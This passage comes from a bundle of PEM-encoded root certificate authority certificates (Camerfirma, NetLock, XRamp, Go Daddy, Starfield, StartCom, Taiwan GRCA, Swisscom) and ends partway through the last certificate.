Camerfirma Chambers of Commerce Root ==================================== -----BEGIN CERTIFICATE----- MIIEvTCCA6WgAwIBAgIBADANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJFVTEnMCUGA1UEChMe QUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1i ZXJzaWduLm9yZzEiMCAGA1UEAxMZQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdDAeFw0wMzA5MzAx NjEzNDNaFw0zNzA5MzAxNjEzNDRaMH8xCzAJBgNVBAYTAkVVMScwJQYDVQQKEx5BQyBDYW1lcmZp cm1hIFNBIENJRiBBODI3NDMyODcxIzAhBgNVBAsTGmh0dHA6Ly93d3cuY2hhbWJlcnNpZ24ub3Jn MSIwIAYDVQQDExlDaGFtYmVycyBvZiBDb21tZXJjZSBSb290MIIBIDANBgkqhkiG9w0BAQEFAAOC AQ0AMIIBCAKCAQEAtzZV5aVdGDDg2olUkfzIx1L4L1DZ77F1c2VHfRtbunXF/KGIJPov7coISjlU xFF6tdpg6jg8gbLL8bvZkSM/SAFwdakFKq0fcfPJVD0dBmpAPrMMhe5cG3nCYsS4No41XQEMIwRH NaqbYE6gZj3LJgqcQKH0XZi/caulAGgq7YN6D6IUtdQis4CwPAxaUWktWBiP7Zme8a7ileb2R6jW DA+wWFjbw2Y3npuRVDM30pQcakjJyfKl2qUMI/cjDpwyVV5xnIQFUZot/eZOKjRa3spAN2cMVCFV d9oKDMyXroDclDZK9D7ONhMeU+SsTjoF7Nuucpw4i9A5O4kKPnf+dQIBA6OCAUQwggFAMBIGA1Ud EwEB/wQIMAYBAf8CAQwwPAYDVR0fBDUwMzAxoC+gLYYraHR0cDovL2NybC5jaGFtYmVyc2lnbi5v cmcvY2hhbWJlcnNyb290LmNybDAdBgNVHQ4EFgQU45T1sU3p26EpW1eLTXYGduHRooowDgYDVR0P AQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzAnBgNVHREEIDAegRxjaGFtYmVyc3Jvb3RAY2hh bWJlcnNpZ24ub3JnMCcGA1UdEgQgMB6BHGNoYW1iZXJzcm9vdEBjaGFtYmVyc2lnbi5vcmcwWAYD VR0gBFEwTzBNBgsrBgEEAYGHLgoDATA+MDwGCCsGAQUFBwIBFjBodHRwOi8vY3BzLmNoYW1iZXJz aWduLm9yZy9jcHMvY2hhbWJlcnNyb290Lmh0bWwwDQYJKoZIhvcNAQEFBQADggEBAAxBl8IahsAi fJ/7kPMa0QOx7xP5IV8EnNrJpY0nbJaHkb5BkAFyk+cefV/2icZdp0AJPaxJRUXcLo0waLIJuvvD L8y6C98/d3tGfToSJI6WjzwFCm/SlCgdbQzALogi1djPHRPH8EjX1wWnz8dHnjs8NMiAT9QUu/wN UPf6s+xCX6ndbcj0dc97wXImsQEcXCz9ek60AcUFV7nnPKoF2YjpB0ZBzu9Bga5Y34OirsrXdx/n ADydb47kMgkdTXg0eDQ8lJsm7U9xxhl6vSAiSFr+S30Dt+dYvsYyTnQeaN2oaFuzPu5ifdmA6Ap1 erfutGWaIZDgqtCYvDi1czyL+Nw= -----END CERTIFICATE----- Camerfirma Global Chambersign Root ================================== -----BEGIN CERTIFICATE----- MIIExTCCA62gAwIBAgIBADANBgkqhkiG9w0BAQUFADB9MQswCQYDVQQGEwJFVTEnMCUGA1UEChMe QUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1i ZXJzaWduLm9yZzEgMB4GA1UEAxMXR2xvYmFsIENoYW1iZXJzaWduIFJvb3QwHhcNMDMwOTMwMTYx NDE4WhcNMzcwOTMwMTYxNDE4WjB9MQswCQYDVQQGEwJFVTEnMCUGA1UEChMeQUMgQ2FtZXJmaXJt YSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1iZXJzaWduLm9yZzEg MB4GA1UEAxMXR2xvYmFsIENoYW1iZXJzaWduIFJvb3QwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAw ggEIAoIBAQCicKLQn0KuWxfH2H3PFIP8T8mhtxOviteePgQKkotgVvq0Mi+ITaFgCPS3CU6gSS9J 1tPfnZdan5QEcOw/Wdm3zGaLmFIoCQLfxS+EjXqXd7/sQJ0lcqu1PzKY+7e3/HKE5TWH+VX6ox8O by4o3Wmg2UIQxvi1RMLQQ3/bvOSiPGpVeAp3qdjqGTK3L/5cPxvusZjsyq16aUXjlg9V9ubtdepl 6DJWk0aJqCWKZQbua795B9Dxt6/tLE2Su8CoX6dnfQTyFQhwrJLWfQTSM/tMtgsL+xrJxI0DqX5c 8lCrEqWhz0hQpe/SyBoT+rB/sYIcd2oPX9wLlY/vQ37mRQklAgEDo4IBUDCCAUwwEgYDVR0TAQH/ BAgwBgEB/wIBDDA/BgNVHR8EODA2MDSgMqAwhi5odHRwOi8vY3JsLmNoYW1iZXJzaWduLm9yZy9j aGFtYmVyc2lnbnJvb3QuY3JsMB0GA1UdDgQWBBRDnDafsJ4wTcbOX60Qq+UDpfqpFDAOBgNVHQ8B Af8EBAMCAQYwEQYJYIZIAYb4QgEBBAQDAgAHMCoGA1UdEQQjMCGBH2NoYW1iZXJzaWducm9vdEBj aGFtYmVyc2lnbi5vcmcwKgYDVR0SBCMwIYEfY2hhbWJlcnNpZ25yb290QGNoYW1iZXJzaWduLm9y ZzBbBgNVHSAEVDBSMFAGCysGAQQBgYcuCgEBMEEwPwYIKwYBBQUHAgEWM2h0dHA6Ly9jcHMuY2hh bWJlcnNpZ24ub3JnL2Nwcy9jaGFtYmVyc2lnbnJvb3QuaHRtbDANBgkqhkiG9w0BAQUFAAOCAQEA PDtwkfkEVCeR4e3t/mh/YV3lQWVPMvEYBZRqHN4fcNs+ezICNLUMbKGKfKX0j//U2K0X1S0E0T9Y gOKBWYi+wONGkyT+kL0mojAt6JcmVzWJdJYY9hXiryQZVgICsroPFOrGimbBhkVVi76SvpykBMdJ PJ7oKXqJ1/6v/2j1pReQvayZzKWGVwlnRtvWFsJG8eSpUPWP0ZIV018+xgBJOm5YstHRJw0lyDL4 IBHNfTIzSJRUTN3cecQwn+uOuFW114hcxWokPbLTBQNRxgfvzBRydD1ucs4YKIxKoHflCStFREes t2d/AYoFWpO+ocH/+OcOZ6RHSXZddZAa9SaP8A== -----END CERTIFICATE----- NetLock Notary (Class A) Root ============================= -----BEGIN CERTIFICATE----- MIIGfTCCBWWgAwIBAgICAQMwDQYJKoZIhvcNAQEEBQAwga8xCzAJBgNVBAYTAkhVMRAwDgYDVQQI EwdIdW5nYXJ5MREwDwYDVQQHEwhCdWRhcGVzdDEnMCUGA1UEChMeTmV0TG9jayBIYWxvemF0Yml6 dG9uc2FnaSBLZnQuMRowGAYDVQQLExFUYW51c2l0dmFueWtpYWRvazE2MDQGA1UEAxMtTmV0TG9j ayBLb3pqZWd5em9pIChDbGFzcyBBKSBUYW51c2l0dmFueWtpYWRvMB4XDTk5MDIyNDIzMTQ0N1oX DTE5MDIxOTIzMTQ0N1owga8xCzAJBgNVBAYTAkhVMRAwDgYDVQQIEwdIdW5nYXJ5MREwDwYDVQQH EwhCdWRhcGVzdDEnMCUGA1UEChMeTmV0TG9jayBIYWxvemF0Yml6dG9uc2FnaSBLZnQuMRowGAYD VQQLExFUYW51c2l0dmFueWtpYWRvazE2MDQGA1UEAxMtTmV0TG9jayBLb3pqZWd5em9pIChDbGFz cyBBKSBUYW51c2l0dmFueWtpYWRvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvHSM D7tM9DceqQWC2ObhbHDqeLVu0ThEDaiDzl3S1tWBxdRL51uUcCbbO51qTGL3cfNk1mE7PetzozfZ z+qMkjvN9wfcZnSX9EUi3fRc4L9t875lM+QVOr/bmJBVOMTtplVjC7B4BPTjbsE/jvxReB+SnoPC /tmwqcm8WgD/qaiYdPv2LD4VOQ22BFWoDpggQrOxJa1+mm9dU7GrDPzr4PN6s6iz/0b2Y6LYOph7 tqyF/7AlT3Rj5xMHpQqPBffAZG9+pyeAlt7ULoZgx2srXnN7F+eRP2QM2EsiNCubMvJIH5+hCoR6 4sKtlz2O1cH5VqNQ6ca0+pii7pXmKgOM3wIDAQABo4ICnzCCApswDgYDVR0PAQH/BAQDAgAGMBIG A1UdEwEB/wQIMAYBAf8CAQQwEQYJYIZIAYb4QgEBBAQDAgAHMIICYAYJYIZIAYb4QgENBIICURaC Ak1GSUdZRUxFTSEgRXplbiB0YW51c2l0dmFueSBhIE5ldExvY2sgS2Z0LiBBbHRhbGFub3MgU3pv bGdhbHRhdGFzaSBGZWx0ZXRlbGVpYmVuIGxlaXJ0IGVsamFyYXNvayBhbGFwamFuIGtlc3p1bHQu IEEgaGl0ZWxlc2l0ZXMgZm9seWFtYXRhdCBhIE5ldExvY2sgS2Z0LiB0ZXJtZWtmZWxlbG9zc2Vn LWJpenRvc2l0YXNhIHZlZGkuIEEgZGlnaXRhbGlzIGFsYWlyYXMgZWxmb2dhZGFzYW5hayBmZWx0 ZXRlbGUgYXogZWxvaXJ0IGVsbGVub3J6ZXNpIGVsamFyYXMgbWVndGV0ZWxlLiBBeiBlbGphcmFz IGxlaXJhc2EgbWVndGFsYWxoYXRvIGEgTmV0TG9jayBLZnQuIEludGVybmV0IGhvbmxhcGphbiBh IGh0dHBzOi8vd3d3Lm5ldGxvY2submV0L2RvY3MgY2ltZW4gdmFneSBrZXJoZXRvIGF6IGVsbGVu b3J6ZXNAbmV0bG9jay5uZXQgZS1tYWlsIGNpbWVuLiBJTVBPUlRBTlQhIFRoZSBpc3N1YW5jZSBh bmQgdGhlIHVzZSBvZiB0aGlzIGNlcnRpZmljYXRlIGlzIHN1YmplY3QgdG8gdGhlIE5ldExvY2sg Q1BTIGF2YWlsYWJsZSBhdCBodHRwczovL3d3dy5uZXRsb2NrLm5ldC9kb2NzIG9yIGJ5IGUtbWFp bCBhdCBjcHNAbmV0bG9jay5uZXQuMA0GCSqGSIb3DQEBBAUAA4IBAQBIJEb3ulZv+sgoA0BO5TE5 ayZrU3/b39/zcT0mwBQOxmd7I6gMc90Bu8bKbjc5VdXHjFYgDigKDtIqpLBJUsY4B/6+CgmM0ZjP ytoUMaFP0jn8DxEsQ8Pdq5PHVT5HfBgaANzze9jyf1JsIPQLX2lS9O74silg6+NJMSEN1rUQQeJB CWziGppWS3cC9qCbmieH6FUpccKQn0V4GuEVZD3QDtigdp+uxdAu6tYPVuxkf1qbFFgBJ34TUMdr KuZoPL9coAob4Q566eKAw+np9v1sEZ7Q5SgnK1QyQhSCdeZK8CtmdWOMovsEPoMOmzbwGOQmIMOM 8CgHrTwXZoi1/baI -----END CERTIFICATE----- XRamp Global CA Root ==================== -----BEGIN CERTIFICATE----- MIIEMDCCAxigAwIBAgIQUJRs7Bjq1ZxN1ZfvdY+grTANBgkqhkiG9w0BAQUFADCBgjELMAkGA1UE BhMCVVMxHjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2Vj dXJpdHkgU2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNMDQxMTAxMTcxNDA0WhcNMzUwMTAxMDUzNzE5WjCBgjELMAkGA1UEBhMCVVMx HjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2VjdXJpdHkg U2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBBdXRob3Jp dHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCYJB69FbS638eMpSe2OAtp87ZOqCwu IR1cRN8hXX4jdP5efrRKt6atH67gBhbim1vZZ3RrXYCPKZ2GG9mcDZhtdhAoWORlsH9KmHmf4MMx foArtYzAQDsRhtDLooY2YKTVMIJt2W7QDxIEM5dfT2Fa8OT5kavnHTu86M/0ay00fOJIYRyO82FE zG+gSqmUsE3a56k0enI4qEHMPJQRfevIpoy3hsvKMzvZPTeL+3o+hiznc9cKV6xkmxnr9A8ECIqs AxcZZPRaJSKNNCyy9mgdEm3Tih4U2sSPpuIjhdV6Db1q4Ons7Be7QhtnqiXtRYMh/MHJfNViPvry xS3T/dRlAgMBAAGjgZ8wgZwwEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFMZPoj0GY4QJnM5i5ASsjVy16bYbMDYGA1UdHwQvMC0wK6Ap oCeGJWh0dHA6Ly9jcmwueHJhbXBzZWN1cml0eS5jb20vWEdDQS5jcmwwEAYJKwYBBAGCNxUBBAMC AQEwDQYJKoZIhvcNAQEFBQADggEBAJEVOQMBG2f7Shz5CmBbodpNl2L5JFMn14JkTpAuw0kbK5rc /Kh4ZzXxHfARvbdI4xD2Dd8/0sm2qlWkSLoC295ZLhVbO50WfUfXN+pfTXYSNrsf16GBBEYgoyxt qZ4Bfj8pzgCT3/3JknOJiWSe5yvkHJEs0rnOfc5vMZnT5r7SHpDwCRR5XCOrTdLaIR9NmXmd4c8n nxCbHIgNsIpkQTG4DmyQJKSbXHGPurt+HBvbaoAPIbzp26a3QPSyi6mx5O+aGtA9aZnuqCij4Tyz 8LIRnM98QObd50N9otg6tamN8jSZxNQQ4Qb9CYQQO+7ETPTsJ3xCwnR8gooJybQDJbw= -----END CERTIFICATE----- Go Daddy Class 2 CA =================== -----BEGIN CERTIFICATE----- MIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMY VGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRp ZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkG A1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28g RGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQAD ggENADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d/+TvZxz0ZWizV3GgXne77ZtJ6XCAPVYYYwhv 2vLM0D9/AlQiVBDYsoHUwHU9S3/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6wwdhFJ2+qN1j3hybX2C32 qRe3H3I2TqYXP2WYktsqbl2i/ojgC95/5Y0V4evLOtXiEqITLdiOr18SPaAIBQi2XKVlOARFmR6j YGB0xUGlcmIbYsUfb18aQr4CUWWoriMYavx4A6lNf4DD+qta/KFApMoZFv6yyO9ecw3ud72a9nmY vLEHZ6IVDd2gWMZEewo+YihfukEHU1jPEX44dMX4/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0O BBYEFNLEsNKR1EwRcbNhyz2h/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h/t2o atTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMu MTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwG A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wim PQoZ+YeAEW5p5JYXMP80kWNyOO7MHAGjHZQopDH2esRU1/blMVgDoszOYtuURXO1v0XJJLXVggKt I3lpjbi2Tc7PTMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQ HmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0/ZM/iZx4mERdEr/VxqHD3VI Ls9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5CufReYNnyicsbkqWletNw+vHX/b vZ8= -----END CERTIFICATE----- Starfield Class 2 CA ==================== -----BEGIN CERTIFICATE----- MIIEDzCCAvegAwIBAgIBADANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJVUzElMCMGA1UEChMc U3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMpU3RhcmZpZWxkIENsYXNzIDIg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTczOTE2WhcNMzQwNjI5MTczOTE2WjBo MQswCQYDVQQGEwJVUzElMCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAG A1UECxMpU3RhcmZpZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEgMA0GCSqG SIb3DQEBAQUAA4IBDQAwggEIAoIBAQC3Msj+6XGmBIWtDBFk385N78gDGIc/oav7PKaf8MOh2tTY bitTkPskpD6E8J7oX+zlJ0T1KKY/e97gKvDIr1MvnsoFAZMej2YcOadN+lq2cwQlZut3f+dZxkqZ JRRU6ybH838Z1TBwj6+wRir/resp7defqgSHo9T5iaU0X9tDkYI22WY8sbi5gv2cOj4QyDvvBmVm epsZGD3/cVE8MC5fvj13c7JdBmzDI1aaK4UmkhynArPkPw2vCHmCuDY96pzTNbO8acr1zJ3o/WSN F4Azbl5KXZnJHoe0nRrA1W4TNSNe35tfPe/W93bC6j67eA0cQmdrBNj41tpvi/JEoAGrAgEDo4HF MIHCMB0GA1UdDgQWBBS/X7fRzt0fhvRbVazc1xDCDqmI5zCBkgYDVR0jBIGKMIGHgBS/X7fRzt0f hvRbVazc1xDCDqmI56FspGowaDELMAkGA1UEBhMCVVMxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNo bm9sb2dpZXMsIEluYy4xMjAwBgNVBAsTKVN0YXJmaWVsZCBDbGFzcyAyIENlcnRpZmljYXRpb24g QXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAAWdP4id0ckaVaGs afPzWdqbAYcaT1epoXkJKtv3L7IezMdeatiDh6GX70k1PncGQVhiv45YuApnP+yz3SFmH8lU+nLM PUxA2IGvd56Deruix/U0F47ZEUD0/CwqTRV/p2JdLiXTAAsgGh1o+Re49L2L7ShZ3U0WixeDyLJl xy16paq8U4Zt3VekyvggQQto8PT7dL5WXXp59fkdheMtlb71cZBDzI0fmgAKhynpVSJYACPq4xJD KVtHCN2MQWplBqjlIapBtJUhlbl90TSrE9atvNziPTnNvT51cKEYWQPJIrSPnNVeKtelttQKbfi3 QBFGmh95DmK/D5fs4C8fF5Q= -----END CERTIFICATE----- StartCom Certification Authority ================================ -----BEGIN CERTIFICATE----- MIIHyTCCBbGgAwIBAgIBATANBgkqhkiG9w0BAQUFADB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMN U3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmlu ZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYwOTE3MTk0 NjM2WhcNMzYwOTE3MTk0NjM2WjB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRk LjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMg U3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw ggIKAoICAQDBiNsJvGxGfHiflXu1M5DycmLWwTYgIiRezul38kMKogZkpMyONvg45iPwbm2xPN1y o4UcodM9tDMr0y+v/uqwQVlntsQGfQqedIXWeUyAN3rfOQVSWff0G0ZDpNKFhdLDcfN1YjS6LIp/ Ho/u7TTQEceWzVI9ujPW3U3eCztKS5/CJi/6tRYccjV3yjxd5srhJosaNnZcAdt0FCX+7bWgiA/d eMotHweXMAEtcnn6RtYTKqi5pquDSR3l8u/d5AGOGAqPY1MWhWKpDhk6zLVmpsJrdAfkK+F2PrRt 2PZE4XNiHzvEvqBTViVsUQn3qqvKv3b9bZvzndu/PWa8DFaqr5hIlTpL36dYUNk4dalb6kMMAv+Z 6+hsTXBbKWWc3apdzK8BMewM69KN6Oqce+Zu9ydmDBpI125C4z/eIT574Q1w+2OqqGwaVLRcJXrJ osmLFqa7LH4XXgVNWG4SHQHuEhANxjJ/GP/89PrNbpHoNkm+Gkhpi8KWTRoSsmkXwQqQ1vp5Iki/ untp+HDH+no32NgN0nZPV/+Qt+OR0t3vwmC3Zzrd/qqc8NSLf3Iizsafl7b4r4qgEKjZ+xjGtrVc UjyJthkqcwEKDwOzEmDyei+B26Nu/yYwl/WL3YlXtq09s68rxbd2AvCl1iuahhQqcvbjM4xdCUsT 37uMdBNSSwIDAQABo4ICUjCCAk4wDAYDVR0TBAUwAwEB/zALBgNVHQ8EBAMCAa4wHQYDVR0OBBYE FE4L7xqkQFulF2mHMMo0aEPQQa7yMGQGA1UdHwRdMFswLKAqoCiGJmh0dHA6Ly9jZXJ0LnN0YXJ0 Y29tLm9yZy9zZnNjYS1jcmwuY3JsMCugKaAnhiVodHRwOi8vY3JsLnN0YXJ0Y29tLm9yZy9zZnNj YS1jcmwuY3JsMIIBXQYDVR0gBIIBVDCCAVAwggFMBgsrBgEEAYG1NwEBATCCATswLwYIKwYBBQUH AgEWI2h0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3kucGRmMDUGCCsGAQUFBwIBFilodHRw Oi8vY2VydC5zdGFydGNvbS5vcmcvaW50ZXJtZWRpYXRlLnBkZjCB0AYIKwYBBQUHAgIwgcMwJxYg U3RhcnQgQ29tbWVyY2lhbCAoU3RhcnRDb20pIEx0ZC4wAwIBARqBl0xpbWl0ZWQgTGlhYmlsaXR5 LCByZWFkIHRoZSBzZWN0aW9uICpMZWdhbCBMaW1pdGF0aW9ucyogb2YgdGhlIFN0YXJ0Q29tIENl cnRpZmljYXRpb24gQXV0aG9yaXR5IFBvbGljeSBhdmFpbGFibGUgYXQgaHR0cDovL2NlcnQuc3Rh cnRjb20ub3JnL3BvbGljeS5wZGYwEQYJYIZIAYb4QgEBBAQDAgAHMDgGCWCGSAGG+EIBDQQrFilT dGFydENvbSBGcmVlIFNTTCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTANBgkqhkiG9w0BAQUFAAOC AgEAFmyZ9GYMNPXQhV59CuzaEE44HF7fpiUFS5Eyweg78T3dRAlbB0mKKctmArexmvclmAk8jhvh 3TaHK0u7aNM5Zj2gJsfyOZEdUauCe37Vzlrk4gNXcGmXCPleWKYK34wGmkUWFjgKXlf2Ysd6AgXm vB618p70qSmD+LIU424oh0TDkBreOKk8rENNZEXO3SipXPJzewT4F+irsfMuXGRuczE6Eri8sxHk fY+BUZo7jYn0TZNmezwD7dOaHZrzZVD1oNB1ny+v8OqCQ5j4aZyJecRDjkZy42Q2Eq/3JR44iZB3 fsNrarnDy0RLrHiQi+fHLB5LEUTINFInzQpdn4XBidUaePKVEFMy3YCEZnXZtWgo+2EuvoSoOMCZ EoalHmdkrQYuL6lwhceWD3yJZfWOQ1QOq92lgDmUYMA0yZZwLKMS9R9Ie70cfmu3nZD0Ijuu+Pwq yvqCUqDvr0tVk+vBtfAii6w0TiYiBKGHLHVKt+V9E9e4DGTANtLJL4YSjCMJwRuCO3NJo2pXh5Tl 1njFmUNj403gdy3hZZlyaQQaRwnmDwFWJPsfvw55qVguucQJAX6Vum0ABj6y6koQOdjQK/W/7HW/ lwLFCRsI3FU34oH7N4RDYiDK51ZLZer+bMEkkyShNOsF/5oirpt9P/FlUQqmMGqz9IgcgA38coro g14= -----END CERTIFICATE----- Taiwan GRCA =========== -----BEGIN CERTIFICATE----- MIIFcjCCA1qgAwIBAgIQH51ZWtcvwgZEpYAIaeNe9jANBgkqhkiG9w0BAQUFADA/MQswCQYDVQQG EwJUVzEwMC4GA1UECgwnR292ZXJubWVudCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4X DTAyMTIwNTEzMjMzM1oXDTMyMTIwNTEzMjMzM1owPzELMAkGA1UEBhMCVFcxMDAuBgNVBAoMJ0dv dmVybm1lbnQgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAJoluOzMonWoe/fOW1mKydGGEghU7Jzy50b2iPN86aXfTEc2pBsBHH8eV4qN w8XRIePaJD9IK/ufLqGU5ywck9G/GwGHU5nOp/UKIXZ3/6m3xnOUT0b3EEk3+qhZSV1qgQdW8or5 BtD3cCJNtLdBuTK4sfCxw5w/cP1T3YGq2GN49thTbqGsaoQkclSGxtKyyhwOeYHWtXBiCAEuTk8O 1RGvqa/lmr/czIdtJuTJV6L7lvnM4T9TjGxMfptTCAtsF/tnyMKtsc2AtJfcdgEWFelq16TheEfO htX7MfP6Mb40qij7cEwdScevLJ1tZqa2jWR+tSBqnTuBto9AAGdLiYa4zGX+FVPpBMHWXx1E1wov J5pGfaENda1UhhXcSTvxls4Pm6Dso3pdvtUqdULle96ltqqvKKyskKw4t9VoNSZ63Pc78/1Fm9G7 Q3hub/FCVGqY8A2tl+lSXunVanLeavcbYBT0peS2cWeqH+riTcFCQP5nRhc4L0c/cZyu5SHKYS1t B6iEfC3uUSXxY5Ce/eFXiGvviiNtsea9P63RPZYLhY3Naye7twWb7LuRqQoHEgKXTiCQ8P8NHuJB O9NAOueNXdpm5AKwB1KYXA6OM5zCppX7VRluTI6uSw+9wThNXo+EHWbNxWCWtFJaBYmOlXqYwZE8 lSOyDvR5tMl8wUohAgMBAAGjajBoMB0GA1UdDgQWBBTMzO/MKWCkO7GStjz6MmKPrCUVOzAMBgNV HRMEBTADAQH/MDkGBGcqBwAEMTAvMC0CAQAwCQYFKw4DAhoFADAHBgVnKgMAAAQUA5vwIhP/lSg2 09yewDL7MTqKUWUwDQYJKoZIhvcNAQEFBQADggIBAECASvomyc5eMN1PhnR2WPWus4MzeKR6dBcZ TulStbngCnRiqmjKeKBMmo4sIy7VahIkv9Ro04rQ2JyftB8M3jh+Vzj8jeJPXgyfqzvS/3WXy6Tj Zwj/5cAWtUgBfen5Cv8b5Wppv3ghqMKnI6mGq3ZW6A4M9hPdKmaKZEk9GhiHkASfQlK3T8v+R0F2 Ne//AHY2RTKbxkaFXeIksB7jSJaYV0eUVXoPQbFEJPPB/hprv4j9wabak2BegUqZIJxIZhm1AHlU D7gsL0u8qV1bYH+Mh6XgUmMqvtg7hUAV/h62ZT/FS9p+tXo1KaMuephgIqP0fSdOLeq0dDzpD6Qz DxARvBMB1uUO07+1EqLhRSPAzAhuYbeJq4PjJB7mXQfnHyA+z2fI56wwbSdLaG5LKlwCCDTb+Hbk Z6MmnD+iMsJKxYEYMRBWqoTvLQr/uB930r+lWKBi5NdLkXWNiYCYfm3LU05er/ayl4WXudpVBrkk 7tfGOB5jGxI7leFYrPLfhNVfmS8NVVvmONsuP3LpSIXLuykTjx44VbnzssQwmSNOXfJIoRIM3BKQ CZBUkQM8R+XVyWXgt0t97EfTsws+rZ7QdAAO671RrcDeLMDDav7v3Aun+kbfYNucpllQdSNpc5Oy +fwC00fmcc4QAu4njIT/rEUNE1yDMuAlpYYsfPQS -----END CERTIFICATE----- Swisscom Root CA 1 ================== -----BEGIN CERTIFICATE----- MIIF2TCCA8GgAwIBAgIQXAuFXAvnWUHfV8w/f52oNjANBgkqhkiG9w0BAQUFADBkMQswCQYDVQQG EwJjaDERMA8GA1UEChMIU3dpc3Njb20xJTAjBgNVBAsTHERpZ2l0YWwgQ2VydGlmaWNhdGUgU2Vy dmljZXMxGzAZBgNVBAMTElN3aXNzY29tIFJvb3QgQ0EgMTAeFw0wNTA4MTgxMjA2MjBaFw0yNTA4 MTgyMjA2MjBaMGQxCzAJBgNVBAYTAmNoMREwDwYDVQQKEwhTd2lzc2NvbTElMCMGA1UECxMcRGln aXRhbCBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEbMBkGA1UEAxMSU3dpc3Njb20gUm9vdCBDQSAxMIIC IjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0LmwqAzZuz8h+BvVM5OAFmUgdbI9m2BtRsiM MW8Xw/qabFbtPMWRV8PNq5ZJkCoZSx6jbVfd8StiKHVFXqrWW/oLJdihFvkcxC7mlSpnzNApbjyF NDhhSbEAn9Y6cV9Nbc5fuankiX9qUvrKm/LcqfmdmUc/TilftKaNXXsLmREDA/7n29uj/x2lzZAe AR81sH8A25Bvxn570e56eqeqDFdvpG3FEzuwpdntMhy0XmeLVNxzh+XTF3xmUHJd1BpYwdnP2IkC b6dJtDZd0KTeByy2dbcokdaXvij1mB7qWybJvbCXc9qukSbraMH5ORXWZ0sKbU/Lz7DkQnGMU3nn 7uHbHaBuHYwadzVcFh4rUx80i9Fs/PJnB3r1re3WmquhsUvhzDdf/X/NTa64H5xD+SpYVUNFvJbN cA78yeNmuk6NO4HLFWR7uZToXTNShXEuT46iBhFRyePLoW4xCGQMwtI89Tbo19AOeCMgkckkKmUp 